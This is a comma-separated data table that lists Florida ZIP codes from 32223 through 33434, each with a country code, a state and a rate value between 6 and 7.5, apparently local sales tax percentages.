US-FL-32223,US,FL,32223,7,,,, US-FL-32224,US,FL,32224,7,,,, US-FL-32225,US,FL,32225,7,,,, US-FL-32226,US,FL,32226,7,,,, US-FL-32227,US,FL,32227,7,,,, US-FL-32228,US,FL,32228,7,,,, US-FL-32229,US,FL,32229,7,,,, US-FL-32231,US,FL,32231,7,,,, US-FL-32232,US,FL,32232,7,,,, US-FL-32233,US,FL,32233,7,,,, US-FL-32234,US,FL,32234,7,,,, US-FL-32235,US,FL,32235,7,,,, US-FL-32236,US,FL,32236,7,,,, US-FL-32237,US,FL,32237,7,,,, US-FL-32238,US,FL,32238,7,,,, US-FL-32239,US,FL,32239,7,,,, US-FL-32240,US,FL,32240,7,,,, US-FL-32241,US,FL,32241,7,,,, US-FL-32244,US,FL,32244,7,,,, US-FL-32245,US,FL,32245,7,,,, US-FL-32246,US,FL,32246,7,,,, US-FL-32247,US,FL,32247,7,,,, US-FL-32250,US,FL,32250,7,,,, US-FL-32254,US,FL,32254,7,,,, US-FL-32255,US,FL,32255,7,,,, US-FL-32256,US,FL,32256,7,,,, US-FL-32257,US,FL,32257,7,,,, US-FL-32258,US,FL,32258,7,,,, US-FL-32259,US,FL,32259,6,,,, US-FL-32260,US,FL,32260,7,,,, US-FL-32266,US,FL,32266,7,,,, US-FL-32277,US,FL,32277,7,,,, US-FL-32301,US,FL,32301,7.5,,,, US-FL-32302,US,FL,32302,7.5,,,, US-FL-32303,US,FL,32303,7.5,,,, US-FL-32304,US,FL,32304,7.5,,,, US-FL-32305,US,FL,32305,7.5,,,, US-FL-32306,US,FL,32306,7.5,,,, US-FL-32307,US,FL,32307,7.5,,,, US-FL-32308,US,FL,32308,7.5,,,, US-FL-32309,US,FL,32309,7.5,,,, US-FL-32310,US,FL,32310,7.5,,,, US-FL-32311,US,FL,32311,7.5,,,, US-FL-32312,US,FL,32312,7.5,,,, US-FL-32313,US,FL,32313,7.5,,,, US-FL-32314,US,FL,32314,7.5,,,, US-FL-32315,US,FL,32315,7.5,,,, US-FL-32316,US,FL,32316,7.5,,,, US-FL-32317,US,FL,32317,7.5,,,, US-FL-32318,US,FL,32318,7.5,,,, US-FL-32320,US,FL,32320,7,,,, US-FL-32321,US,FL,32321,7.5,,,, US-FL-32322,US,FL,32322,7,,,, US-FL-32323,US,FL,32323,7,,,, US-FL-32324,US,FL,32324,7.5,,,, US-FL-32326,US,FL,32326,7,,,, US-FL-32327,US,FL,32327,7,,,, US-FL-32328,US,FL,32328,7,,,, US-FL-32329,US,FL,32329,7,,,, US-FL-32330,US,FL,32330,7.5,,,, US-FL-32331,US,FL,32331,7.5,,,, US-FL-32332,US,FL,32332,7.5,,,, US-FL-32333,US,FL,32333,7.5,,,, US-FL-32334,US,FL,32334,7.5,,,, US-FL-32335,US,FL,32335,7.5,,,, US-FL-32336,US,FL,32336,7,,,, US-FL-32337,US,FL,32337,7,,,, US-FL-32340,US,FL,32340,7.5,,,, US-FL-32341,US,FL,32341,7.5,,,, US-FL-32343,US,FL,32343,7.5,,,, US-FL-32344,US,FL,32344,7,,,, US-FL-32345,US,FL,32345,7,,,, US-FL-32346,US,FL,32346,7,,,, US-FL-32347,US,FL,32347,7,,,, US-FL-32348,US,FL,32348,7,,,, US-FL-32350,US,FL,32350,7.5,,,, US-FL-32351,US,FL,32351,7.5,,,, US-FL-32352,US,FL,32352,7.5,,,, US-FL-32353,US,FL,32353,7.5,,,, US-FL-32355,US,FL,32355,7,,,, US-FL-32356,US,FL,32356,7,,,, US-FL-32357,US,FL,32357,7.5,,,, US-FL-32358,US,FL,32358,7,,,, US-FL-32359,US,FL,32359,7,,,, US-FL-32360,US,FL,32360,7.5,,,, US-FL-32361,US,FL,32361,7,,,, US-FL-32362,US,FL,32362,7.5,,,, US-FL-32395,US,FL,32395,7.5,,,, US-FL-32399,US,FL,32399,7.5,,,, US-FL-32401,US,FL,32401,6.5,,,, US-FL-32402,US,FL,32402,6.5,,,, US-FL-32403,US,FL,32403,6.5,,,, US-FL-32404,US,FL,32404,6.5,,,, US-FL-32405,US,FL,32405,6.5,,,, US-FL-32406,US,FL,32406,6.5,,,, US-FL-32407,US,FL,32407,6.5,,,, US-FL-32408,US,FL,32408,6.5,,,, US-FL-32409,US,FL,32409,6.5,,,, US-FL-32410,US,FL,32410,7,,,, US-FL-32411,US,FL,32411,6.5,,,, US-FL-32412,US,FL,32412,6.5,,,, US-FL-32413,US,FL,32413,6.5,,,, US-FL-32417,US,FL,32417,6.5,,,, US-FL-32420,US,FL,32420,7.5,,,, US-FL-32421,US,FL,32421,7.5,,,, US-FL-32422,US,FL,32422,7.5,,,, US-FL-32423,US,FL,32423,7.5,,,, US-FL-32424,US,FL,32424,7.5,,,, US-FL-32425,US,FL,32425,7,,,, US-FL-32426,US,FL,32426,7.5,,,, US-FL-32427,US,FL,32427,7,,,, US-FL-32428,US,FL,32428,7,,,, US-FL-32430,US,FL,32430,7.5,,,, US-FL-32431,US,FL,32431,7.5,,,, US-FL-32432,US,FL,32432,7.5,,,, US-FL-32433,US,FL,32433,7.5,,,, US-FL-32434,US,FL,32434,7.5,,,, US-FL-32435,US,FL,32435,7.5,,,, US-FL-32437,US,FL,32437,7,,,, US-FL-32438,US,FL,32438,6.5,,,, US-FL-32439,US,FL,32439,7.5,,,, US-FL-32440,US,FL,32440,7.5,,,, US-FL-32442,US,FL,32442,7.5,,,, US-FL-32443,US,FL,32443,7.5,,,, US-FL-32444,US,FL,32444,6.5,,,, US-FL-32445,US,FL,32445,7.5,,,, US-FL-32446,US,FL,32446,7.5,,,, US-FL-32447,US,FL,32447,7.5,,,, US-FL-32448,US,FL,32448,7.5,,,, US-FL-32449,US,FL,32449,7.5,,,, US-FL-32452,US,FL,32452,7,,,, US-FL-32455,US,FL,32455,7.5,,,, US-FL-32456,US,FL,32456,7,,,, US-FL-32457,US,FL,32457,7,,,, US-FL-32459,US,FL,32459,7.5,,,, US-FL-32460,US,FL,32460,7.5,,,, US-FL-32461,US,FL,32461,6.5,,,, US-FL-32462,US,FL,32462,7,,,, US-FL-32463,US,FL,32463,7,,,, US-FL-32464,US,FL,32464,7,,,, US-FL-32465,US,FL,32465,7,,,, US-FL-32466,US,FL,32466,6.5,,,, US-FL-32501,US,FL,32501,7.5,,,, US-FL-32502,US,FL,32502,7.5,,,, US-FL-32503,US,FL,32503,7.5,,,, US-FL-32504,US,FL,32504,7.5,,,, US-FL-32505,US,FL,32505,7.5,,,, US-FL-32506,US,FL,32506,7.5,,,, US-FL-32507,US,FL,32507,7.5,,,, US-FL-32508,US,FL,32508,7.5,,,, US-FL-32509,US,FL,32509,7.5,,,, US-FL-32511,US,FL,32511,7.5,,,, US-FL-32512,US,FL,32512,7.5,,,, US-FL-32513,US,FL,32513,7.5,,,, US-FL-32514,US,FL,32514,7.5,,,, US-FL-32516,US,FL,32516,7.5,,,, US-FL-32520,US,FL,32520,7.5,,,, US-FL-32521,US,FL,32521,7.5,,,, US-FL-32522,US,FL,32522,7.5,,,, US-FL-32523,US,FL,32523,7.5,,,, US-FL-32524,US,FL,32524,7.5,,,, US-FL-32526,US,FL,32526,7.5,,,, US-FL-32530,US,FL,32530,6.5,,,, US-FL-32531,US,FL,32531,6,,,, US-FL-32533,US,FL,32533,7.5,,,, US-FL-32534,US,FL,32534,7.5,,,, US-FL-32535,US,FL,32535,7.5,,,, US-FL-32536,US,FL,32536,6,,,, US-FL-32538,US,FL,32538,6,,,, US-FL-32539,US,FL,32539,6,,,, US-FL-32540,US,FL,32540,6,,,, US-FL-32541,US,FL,32541,6,,,, US-FL-32542,US,FL,32542,6,,,, US-FL-32544,US,FL,32544,6,,,, US-FL-32547,US,FL,32547,6,,,, US-FL-32548,US,FL,32548,6,,,, US-FL-32549,US,FL,32549,6,,,, US-FL-32550,US,FL,32550,7.5,,,, US-FL-32559,US,FL,32559,7.5,,,, US-FL-32560,US,FL,32560,7.5,,,, US-FL-32561,US,FL,32561,7.5,,,, US-FL-32562,US,FL,32562,6.5,,,, US-FL-32563,US,FL,32563,6.5,,,, US-FL-32564,US,FL,32564,6,,,, US-FL-32565,US,FL,32565,6.5,,,, US-FL-32566,US,FL,32566,6.5,,,, US-FL-32567,US,FL,32567,7.5,,,, US-FL-32568,US,FL,32568,7.5,,,, US-FL-32569,US,FL,32569,6,,,, US-FL-32570,US,FL,32570,6.5,,,, US-FL-32571,US,FL,32571,6.5,,,, US-FL-32572,US,FL,32572,6.5,,,, US-FL-32577,US,FL,32577,7.5,,,, US-FL-32578,US,FL,32578,6,,,, US-FL-32579,US,FL,32579,6,,,, US-FL-32580,US,FL,32580,6,,,, US-FL-32583,US,FL,32583,6.5,,,, US-FL-32588,US,FL,32588,6,,,, US-FL-32591,US,FL,32591,7.5,,,, US-FL-32601,US,FL,32601,6,,,, US-FL-32602,US,FL,32602,6,,,, US-FL-32603,US,FL,32603,6,,,, US-FL-32604,US,FL,32604,6,,,, US-FL-32605,US,FL,32605,6,,,, US-FL-32606,US,FL,32606,6,,,, US-FL-32607,US,FL,32607,6,,,, US-FL-32608,US,FL,32608,6,,,, US-FL-32609,US,FL,32609,6,,,, US-FL-32610,US,FL,32610,6,,,, US-FL-32611,US,FL,32611,6,,,, US-FL-32612,US,FL,32612,6,,,, US-FL-32614,US,FL,32614,6,,,, US-FL-32615,US,FL,32615,6,,,, US-FL-32616,US,FL,32616,6,,,, US-FL-32617,US,FL,32617,6,,,, US-FL-32618,US,FL,32618,6,,,, US-FL-32619,US,FL,32619,7,,,, US-FL-32621,US,FL,32621,7,,,, US-FL-32622,US,FL,32622,7,,,, US-FL-32625,US,FL,32625,7,,,, US-FL-32626,US,FL,32626,7,,,, US-FL-32627,US,FL,32627,6,,,, US-FL-32628,US,FL,32628,7,,,, US-FL-32631,US,FL,32631,6,,,, US-FL-32633,US,FL,32633,6,,,, US-FL-32634,US,FL,32634,6,,,, US-FL-32635,US,FL,32635,6,,,, US-FL-32639,US,FL,32639,7,,,, US-FL-32640,US,FL,32640,6,,,, US-FL-32641,US,FL,32641,6,,,, US-FL-32643,US,FL,32643,6,,,, US-FL-32644,US,FL,32644,7,,,, US-FL-32648,US,FL,32648,7,,,, US-FL-32653,US,FL,32653,6,,,, US-FL-32654,US,FL,32654,6,,,, US-FL-32655,US,FL,32655,6,,,, US-FL-32656,US,FL,32656,7,,,, US-FL-32658,US,FL,32658,6,,,, US-FL-32662,US,FL,32662,6,,,, US-FL-32663,US,FL,32663,6,,,, US-FL-32664,US,FL,32664,6,,,, US-FL-32666,US,FL,32666,7,,,, US-FL-32667,US,FL,32667,6,,,, US-FL-32668,US,FL,32668,7,,,, US-FL-32669,US,FL,32669,6,,,, US-FL-32680,US,FL,32680,7,,,, US-FL-32681,US,FL,32681,6,,,, US-FL-32683,US,FL,32683,7,,,, US-FL-32686,US,FL,32686,6,,,, US-FL-32692,US,FL,32692,7,,,, US-FL-32693,US,FL,32693,7,,,, US-FL-32694,US,FL,32694,6,,,, US-FL-32696,US,FL,32696,7,,,, US-FL-32697,US,FL,32697,7,,,, US-FL-32701,US,FL,32701,6,,,, US-FL-32702,US,FL,32702,7,,,, US-FL-32703,US,FL,32703,6.5,,,, US-FL-32704,US,FL,32704,6.5,,,, US-FL-32706,US,FL,32706,6.5,,,, US-FL-32707,US,FL,32707,6,,,, US-FL-32708,US,FL,32708,6,,,, US-FL-32709,US,FL,32709,6.5,,,, US-FL-32710,US,FL,32710,6.5,,,, US-FL-32712,US,FL,32712,6.5,,,, US-FL-32713,US,FL,32713,6.5,,,, US-FL-32714,US,FL,32714,6,,,, US-FL-32715,US,FL,32715,6,,,, US-FL-32716,US,FL,32716,6,,,, US-FL-32718,US,FL,32718,6,,,, US-FL-32719,US,FL,32719,6,,,, US-FL-32720,US,FL,32720,6.5,,,, US-FL-32721,US,FL,32721,6.5,,,, US-FL-32722,US,FL,32722,6.5,,,, US-FL-32723,US,FL,32723,6.5,,,, US-FL-32724,US,FL,32724,6.5,,,, US-FL-32725,US,FL,32725,6.5,,,, US-FL-32726,US,FL,32726,7,,,, US-FL-32727,US,FL,32727,7,,,, US-FL-32728,US,FL,32728,6.5,,,, US-FL-32730,US,FL,32730,6,,,, US-FL-32732,US,FL,32732,6,,,, US-FL-32733,US,FL,32733,6,,,, US-FL-32735,US,FL,32735,7,,,, US-FL-32736,US,FL,32736,7,,,, US-FL-32738,US,FL,32738,6.5,,,, US-FL-32739,US,FL,32739,6.5,,,, US-FL-32744,US,FL,32744,6.5,,,, US-FL-32745,US,FL,32745,6,,,, US-FL-32746,US,FL,32746,6,,,, US-FL-32747,US,FL,32747,6,,,, US-FL-32750,US,FL,32750,6,,,, US-FL-32751,US,FL,32751,6.5,,,, US-FL-32752,US,FL,32752,6,,,, US-FL-32753,US,FL,32753,6.5,,,, US-FL-32754,US,FL,32754,6,,,, US-FL-32756,US,FL,32756,7,,,, US-FL-32757,US,FL,32757,7,,,, US-FL-32759,US,FL,32759,6.5,,,, US-FL-32762,US,FL,32762,6,,,, US-FL-32763,US,FL,32763,6.5,,,, US-FL-32764,US,FL,32764,6.5,,,, US-FL-32765,US,FL,32765,6,,,, US-FL-32766,US,FL,32766,6,,,, US-FL-32767,US,FL,32767,7,,,, US-FL-32768,US,FL,32768,6.5,,,, US-FL-32771,US,FL,32771,6,,,, US-FL-32772,US,FL,32772,6,,,, US-FL-32773,US,FL,32773,6,,,, US-FL-32774,US,FL,32774,6.5,,,, US-FL-32775,US,FL,32775,6,,,, US-FL-32776,US,FL,32776,7,,,, US-FL-32777,US,FL,32777,6.5,,,, US-FL-32778,US,FL,32778,7,,,, US-FL-32779,US,FL,32779,6,,,, US-FL-32780,US,FL,32780,6,,,, US-FL-32781,US,FL,32781,6,,,, US-FL-32783,US,FL,32783,6,,,, US-FL-32784,US,FL,32784,7,,,, US-FL-32789,US,FL,32789,6.5,,,, US-FL-32790,US,FL,32790,6.5,,,, US-FL-32791,US,FL,32791,6,,,, US-FL-32792,US,FL,32792,6.5,,,, US-FL-32793,US,FL,32793,6.5,,,, US-FL-32794,US,FL,32794,6.5,,,, US-FL-32795,US,FL,32795,6,,,, US-FL-32796,US,FL,32796,6,,,, US-FL-32798,US,FL,32798,6.5,,,, US-FL-32799,US,FL,32799,6,,,, US-FL-32801,US,FL,32801,6.5,,,, US-FL-32802,US,FL,32802,6.5,,,, US-FL-32803,US,FL,32803,6.5,,,, US-FL-32804,US,FL,32804,6.5,,,, US-FL-32805,US,FL,32805,6.5,,,, US-FL-32806,US,FL,32806,6.5,,,, US-FL-32807,US,FL,32807,6.5,,,, US-FL-32808,US,FL,32808,6.5,,,, US-FL-32809,US,FL,32809,6.5,,,, US-FL-32810,US,FL,32810,6.5,,,, US-FL-32811,US,FL,32811,6.5,,,, US-FL-32812,US,FL,32812,6.5,,,, US-FL-32814,US,FL,32814,6.5,,,, US-FL-32815,US,FL,32815,6.5,,,, US-FL-32816,US,FL,32816,6.5,,,, US-FL-32817,US,FL,32817,6.5,,,, US-FL-32818,US,FL,32818,6.5,,,, US-FL-32819,US,FL,32819,6.5,,,, US-FL-32820,US,FL,32820,6.5,,,, US-FL-32821,US,FL,32821,6.5,,,, US-FL-32822,US,FL,32822,6.5,,,, US-FL-32824,US,FL,32824,6.5,,,, US-FL-32825,US,FL,32825,6.5,,,, US-FL-32826,US,FL,32826,6.5,,,, US-FL-32827,US,FL,32827,6.5,,,, US-FL-32828,US,FL,32828,6.5,,,, US-FL-32829,US,FL,32829,6.5,,,, US-FL-32830,US,FL,32830,6.5,,,, US-FL-32831,US,FL,32831,6.5,,,, US-FL-32832,US,FL,32832,6.5,,,, US-FL-32833,US,FL,32833,6.5,,,, US-FL-32834,US,FL,32834,6.5,,,, US-FL-32835,US,FL,32835,6.5,,,, US-FL-32836,US,FL,32836,6.5,,,, US-FL-32837,US,FL,32837,6.5,,,, US-FL-32839,US,FL,32839,6.5,,,, US-FL-32853,US,FL,32853,6.5,,,, US-FL-32854,US,FL,32854,6.5,,,, US-FL-32855,US,FL,32855,6.5,,,, US-FL-32856,US,FL,32856,6.5,,,, US-FL-32857,US,FL,32857,6.5,,,, US-FL-32858,US,FL,32858,6.5,,,, US-FL-32859,US,FL,32859,6.5,,,, US-FL-32860,US,FL,32860,6.5,,,, US-FL-32861,US,FL,32861,6.5,,,, US-FL-32862,US,FL,32862,6.5,,,, US-FL-32867,US,FL,32867,6.5,,,, US-FL-32868,US,FL,32868,6.5,,,, US-FL-32869,US,FL,32869,6.5,,,, US-FL-32872,US,FL,32872,6.5,,,, US-FL-32877,US,FL,32877,6.5,,,, US-FL-32878,US,FL,32878,6.5,,,, US-FL-32885,US,FL,32885,6.5,,,, US-FL-32886,US,FL,32886,6.5,,,, US-FL-32887,US,FL,32887,6.5,,,, US-FL-32891,US,FL,32891,6.5,,,, US-FL-32896,US,FL,32896,6.5,,,, US-FL-32897,US,FL,32897,6.5,,,, US-FL-32901,US,FL,32901,6,,,, US-FL-32902,US,FL,32902,6,,,, US-FL-32903,US,FL,32903,6,,,, US-FL-32904,US,FL,32904,6,,,, US-FL-32905,US,FL,32905,6,,,, US-FL-32906,US,FL,32906,6,,,, US-FL-32907,US,FL,32907,6,,,, US-FL-32908,US,FL,32908,6,,,, US-FL-32909,US,FL,32909,6,,,, US-FL-32910,US,FL,32910,6,,,, US-FL-32911,US,FL,32911,6,,,, US-FL-32912,US,FL,32912,6,,,, US-FL-32919,US,FL,32919,6,,,, US-FL-32920,US,FL,32920,6,,,, US-FL-32922,US,FL,32922,6,,,, US-FL-32923,US,FL,32923,6,,,, US-FL-32924,US,FL,32924,6,,,, US-FL-32925,US,FL,32925,6,,,, US-FL-32926,US,FL,32926,6,,,, US-FL-32927,US,FL,32927,6,,,, US-FL-32931,US,FL,32931,6,,,, US-FL-32932,US,FL,32932,6,,,, US-FL-32934,US,FL,32934,6,,,, US-FL-32935,US,FL,32935,6,,,, US-FL-32936,US,FL,32936,6,,,, US-FL-32937,US,FL,32937,6,,,, US-FL-32940,US,FL,32940,6,,,, US-FL-32941,US,FL,32941,6,,,, US-FL-32948,US,FL,32948,7,,,, US-FL-32949,US,FL,32949,6,,,, US-FL-32950,US,FL,32950,6,,,, US-FL-32951,US,FL,32951,6,,,, US-FL-32952,US,FL,32952,6,,,, US-FL-32953,US,FL,32953,6,,,, US-FL-32954,US,FL,32954,6,,,, US-FL-32955,US,FL,32955,6,,,, US-FL-32956,US,FL,32956,6,,,, US-FL-32957,US,FL,32957,7,,,, US-FL-32958,US,FL,32958,7,,,, US-FL-32959,US,FL,32959,6,,,, US-FL-32960,US,FL,32960,7,,,, US-FL-32961,US,FL,32961,7,,,, US-FL-32962,US,FL,32962,7,,,, US-FL-32963,US,FL,32963,7,,,, US-FL-32964,US,FL,32964,7,,,, US-FL-32965,US,FL,32965,7,,,, US-FL-32966,US,FL,32966,7,,,, US-FL-32967,US,FL,32967,7,,,, US-FL-32968,US,FL,32968,7,,,, US-FL-32969,US,FL,32969,7,,,, US-FL-32970,US,FL,32970,7,,,, US-FL-32971,US,FL,32971,7,,,, US-FL-32976,US,FL,32976,6,,,, US-FL-32978,US,FL,32978,7,,,, US-FL-33001,US,FL,33001,7.5,,,, US-FL-33002,US,FL,33002,7,,,, US-FL-33004,US,FL,33004,6,,,, US-FL-33008,US,FL,33008,6,,,, US-FL-33009,US,FL,33009,6,,,, US-FL-33010,US,FL,33010,7,,,, US-FL-33011,US,FL,33011,7,,,, US-FL-33012,US,FL,33012,7,,,, US-FL-33013,US,FL,33013,7,,,, US-FL-33014,US,FL,33014,7,,,, US-FL-33015,US,FL,33015,7,,,, US-FL-33016,US,FL,33016,7,,,, US-FL-33017,US,FL,33017,7,,,, US-FL-33018,US,FL,33018,7,,,, US-FL-33019,US,FL,33019,6,,,, US-FL-33020,US,FL,33020,6,,,, US-FL-33021,US,FL,33021,6,,,, US-FL-33022,US,FL,33022,6,,,, US-FL-33023,US,FL,33023,6,,,, US-FL-33024,US,FL,33024,6,,,, US-FL-33025,US,FL,33025,6,,,, US-FL-33026,US,FL,33026,6,,,, US-FL-33027,US,FL,33027,6,,,, US-FL-33028,US,FL,33028,6,,,, US-FL-33029,US,FL,33029,6,,,, US-FL-33030,US,FL,33030,7,,,, US-FL-33031,US,FL,33031,7,,,, US-FL-33032,US,FL,33032,7,,,, US-FL-33033,US,FL,33033,7,,,, US-FL-33034,US,FL,33034,7,,,, US-FL-33035,US,FL,33035,7,,,, US-FL-33036,US,FL,33036,7.5,,,, US-FL-33037,US,FL,33037,7.5,,,, US-FL-33039,US,FL,33039,7,,,, US-FL-33040,US,FL,33040,7.5,,,, US-FL-33041,US,FL,33041,7.5,,,, US-FL-33042,US,FL,33042,7.5,,,, US-FL-33043,US,FL,33043,7.5,,,, US-FL-33045,US,FL,33045,7.5,,,, US-FL-33050,US,FL,33050,7.5,,,, US-FL-33051,US,FL,33051,7.5,,,, US-FL-33052,US,FL,33052,7.5,,,, US-FL-33054,US,FL,33054,7,,,, US-FL-33055,US,FL,33055,7,,,, US-FL-33056,US,FL,33056,7,,,, US-FL-33060,US,FL,33060,6,,,, US-FL-33061,US,FL,33061,6,,,, US-FL-33062,US,FL,33062,6,,,, US-FL-33063,US,FL,33063,6,,,, US-FL-33064,US,FL,33064,6,,,, US-FL-33065,US,FL,33065,6,,,, US-FL-33066,US,FL,33066,6,,,, US-FL-33067,US,FL,33067,6,,,, US-FL-33068,US,FL,33068,6,,,, US-FL-33069,US,FL,33069,6,,,, US-FL-33070,US,FL,33070,7.5,,,, US-FL-33071,US,FL,33071,6,,,, US-FL-33072,US,FL,33072,6,,,, US-FL-33073,US,FL,33073,6,,,, US-FL-33074,US,FL,33074,6,,,, US-FL-33075,US,FL,33075,6,,,, US-FL-33076,US,FL,33076,6,,,, US-FL-33077,US,FL,33077,6,,,, US-FL-33081,US,FL,33081,6,,,, US-FL-33082,US,FL,33082,6,,,, US-FL-33083,US,FL,33083,6,,,, US-FL-33084,US,FL,33084,6,,,, US-FL-33090,US,FL,33090,7,,,, US-FL-33092,US,FL,33092,7,,,, US-FL-33093,US,FL,33093,6,,,, US-FL-33097,US,FL,33097,6,,,, US-FL-33101,US,FL,33101,7,,,, US-FL-33102,US,FL,33102,7,,,, US-FL-33106,US,FL,33106,7,,,, US-FL-33109,US,FL,33109,7,,,, US-FL-33111,US,FL,33111,7,,,, US-FL-33112,US,FL,33112,7,,,, US-FL-33114,US,FL,33114,7,,,, US-FL-33116,US,FL,33116,7,,,, US-FL-33119,US,FL,33119,7,,,, US-FL-33122,US,FL,33122,7,,,, US-FL-33124,US,FL,33124,7,,,, US-FL-33125,US,FL,33125,7,,,, US-FL-33126,US,FL,33126,7,,,, US-FL-33127,US,FL,33127,7,,,, US-FL-33128,US,FL,33128,7,,,, US-FL-33129,US,FL,33129,7,,,, US-FL-33130,US,FL,33130,7,,,, US-FL-33131,US,FL,33131,7,,,, US-FL-33132,US,FL,33132,7,,,, US-FL-33133,US,FL,33133,7,,,, US-FL-33134,US,FL,33134,7,,,, US-FL-33135,US,FL,33135,7,,,, US-FL-33136,US,FL,33136,7,,,, US-FL-33137,US,FL,33137,7,,,, US-FL-33138,US,FL,33138,7,,,, US-FL-33139,US,FL,33139,7,,,, US-FL-33140,US,FL,33140,7,,,, US-FL-33141,US,FL,33141,7,,,, US-FL-33142,US,FL,33142,7,,,, US-FL-33143,US,FL,33143,7,,,, US-FL-33144,US,FL,33144,7,,,, US-FL-33145,US,FL,33145,7,,,, US-FL-33146,US,FL,33146,7,,,, US-FL-33147,US,FL,33147,7,,,, US-FL-33149,US,FL,33149,7,,,, US-FL-33150,US,FL,33150,7,,,, US-FL-33151,US,FL,33151,7,,,, US-FL-33152,US,FL,33152,7,,,, US-FL-33153,US,FL,33153,7,,,, US-FL-33154,US,FL,33154,7,,,, US-FL-33155,US,FL,33155,7,,,, US-FL-33156,US,FL,33156,7,,,, US-FL-33157,US,FL,33157,7,,,, US-FL-33158,US,FL,33158,7,,,, US-FL-33159,US,FL,33159,7,,,, US-FL-33160,US,FL,33160,7,,,, US-FL-33161,US,FL,33161,7,,,, US-FL-33162,US,FL,33162,7,,,, US-FL-33163,US,FL,33163,7,,,, US-FL-33164,US,FL,33164,7,,,, US-FL-33165,US,FL,33165,7,,,, US-FL-33166,US,FL,33166,7,,,, US-FL-33167,US,FL,33167,7,,,, US-FL-33168,US,FL,33168,7,,,, US-FL-33169,US,FL,33169,7,,,, US-FL-33170,US,FL,33170,7,,,, US-FL-33172,US,FL,33172,7,,,, US-FL-33173,US,FL,33173,7,,,, US-FL-33174,US,FL,33174,7,,,, US-FL-33175,US,FL,33175,7,,,, US-FL-33176,US,FL,33176,7,,,, US-FL-33177,US,FL,33177,7,,,, US-FL-33178,US,FL,33178,7,,,, US-FL-33179,US,FL,33179,7,,,, US-FL-33180,US,FL,33180,7,,,, US-FL-33181,US,FL,33181,7,,,, US-FL-33182,US,FL,33182,7,,,, US-FL-33183,US,FL,33183,7,,,, US-FL-33184,US,FL,33184,7,,,, US-FL-33185,US,FL,33185,7,,,, US-FL-33186,US,FL,33186,7,,,, US-FL-33187,US,FL,33187,7,,,, US-FL-33188,US,FL,33188,7,,,, US-FL-33189,US,FL,33189,7,,,, US-FL-33190,US,FL,33190,7,,,, US-FL-33193,US,FL,33193,7,,,, US-FL-33194,US,FL,33194,7,,,, US-FL-33196,US,FL,33196,7,,,, US-FL-33197,US,FL,33197,7,,,, US-FL-33199,US,FL,33199,7,,,, US-FL-33222,US,FL,33222,7,,,, US-FL-33231,US,FL,33231,7,,,, US-FL-33233,US,FL,33233,7,,,, US-FL-33234,US,FL,33234,7,,,, US-FL-33238,US,FL,33238,7,,,, US-FL-33239,US,FL,33239,7,,,, US-FL-33242,US,FL,33242,7,,,, US-FL-33243,US,FL,33243,7,,,, US-FL-33245,US,FL,33245,7,,,, US-FL-33247,US,FL,33247,7,,,, US-FL-33255,US,FL,33255,7,,,, US-FL-33256,US,FL,33256,7,,,, US-FL-33257,US,FL,33257,7,,,, US-FL-33261,US,FL,33261,7,,,, US-FL-33265,US,FL,33265,7,,,, US-FL-33266,US,FL,33266,7,,,, US-FL-33269,US,FL,33269,7,,,, US-FL-33280,US,FL,33280,7,,,, US-FL-33283,US,FL,33283,7,,,, US-FL-33296,US,FL,33296,7,,,, US-FL-33299,US,FL,33299,7,,,, US-FL-33301,US,FL,33301,6,,,, US-FL-33302,US,FL,33302,6,,,, US-FL-33303,US,FL,33303,6,,,, US-FL-33304,US,FL,33304,6,,,, US-FL-33305,US,FL,33305,6,,,, US-FL-33306,US,FL,33306,6,,,, US-FL-33307,US,FL,33307,6,,,, US-FL-33308,US,FL,33308,6,,,, US-FL-33309,US,FL,33309,6,,,, US-FL-33310,US,FL,33310,6,,,, US-FL-33311,US,FL,33311,6,,,, US-FL-33312,US,FL,33312,6,,,, US-FL-33313,US,FL,33313,6,,,, US-FL-33314,US,FL,33314,6,,,, US-FL-33315,US,FL,33315,6,,,, US-FL-33316,US,FL,33316,6,,,, US-FL-33317,US,FL,33317,6,,,, US-FL-33318,US,FL,33318,6,,,, US-FL-33319,US,FL,33319,6,,,, US-FL-33320,US,FL,33320,6,,,, US-FL-33321,US,FL,33321,6,,,, US-FL-33322,US,FL,33322,6,,,, US-FL-33323,US,FL,33323,6,,,, US-FL-33324,US,FL,33324,6,,,, US-FL-33325,US,FL,33325,6,,,, US-FL-33326,US,FL,33326,6,,,, US-FL-33327,US,FL,33327,6,,,, US-FL-33328,US,FL,33328,6,,,, US-FL-33329,US,FL,33329,6,,,, US-FL-33330,US,FL,33330,6,,,, US-FL-33331,US,FL,33331,6,,,, US-FL-33332,US,FL,33332,6,,,, US-FL-33334,US,FL,33334,6,,,, US-FL-33335,US,FL,33335,6,,,, US-FL-33336,US,FL,33336,6,,,, US-FL-33337,US,FL,33337,6,,,, US-FL-33338,US,FL,33338,6,,,, US-FL-33339,US,FL,33339,6,,,, US-FL-33340,US,FL,33340,6,,,, US-FL-33345,US,FL,33345,6,,,, US-FL-33346,US,FL,33346,6,,,, US-FL-33348,US,FL,33348,6,,,, US-FL-33349,US,FL,33349,6,,,, US-FL-33351,US,FL,33351,6,,,, US-FL-33355,US,FL,33355,6,,,, US-FL-33359,US,FL,33359,6,,,, US-FL-33388,US,FL,33388,6,,,, US-FL-33394,US,FL,33394,6,,,, US-FL-33401,US,FL,33401,6,,,, US-FL-33402,US,FL,33402,6,,,, US-FL-33403,US,FL,33403,6,,,, US-FL-33404,US,FL,33404,6,,,, US-FL-33405,US,FL,33405,6,,,, US-FL-33406,US,FL,33406,6,,,, US-FL-33407,US,FL,33407,6,,,, US-FL-33408,US,FL,33408,6,,,, US-FL-33409,US,FL,33409,6,,,, US-FL-33410,US,FL,33410,6,,,, US-FL-33411,US,FL,33411,6,,,, US-FL-33412,US,FL,33412,6,,,, US-FL-33413,US,FL,33413,6,,,, US-FL-33414,US,FL,33414,6,,,, US-FL-33415,US,FL,33415,6,,,, US-FL-33416,US,FL,33416,6,,,, US-FL-33417,US,FL,33417,6,,,, US-FL-33418,US,FL,33418,6,,,, US-FL-33419,US,FL,33419,6,,,, US-FL-33420,US,FL,33420,6,,,, US-FL-33421,US,FL,33421,6,,,, US-FL-33422,US,FL,33422,6,,,, US-FL-33424,US,FL,33424,6,,,, US-FL-33425,US,FL,33425,6,,,, US-FL-33426,US,FL,33426,6,,,, US-FL-33427,US,FL,33427,6,,,, US-FL-33428,US,FL,33428,6,,,, US-FL-33429,US,FL,33429,6,,,, US-FL-33430,US,FL,33430,6,,,, US-FL-33431,US,FL,33431,6,,,, US-FL-33432,US,FL,33432,6,,,, US-FL-33433,US,FL,33433,6,,,, US-FL-33434,US,FL,33434,6,,,, 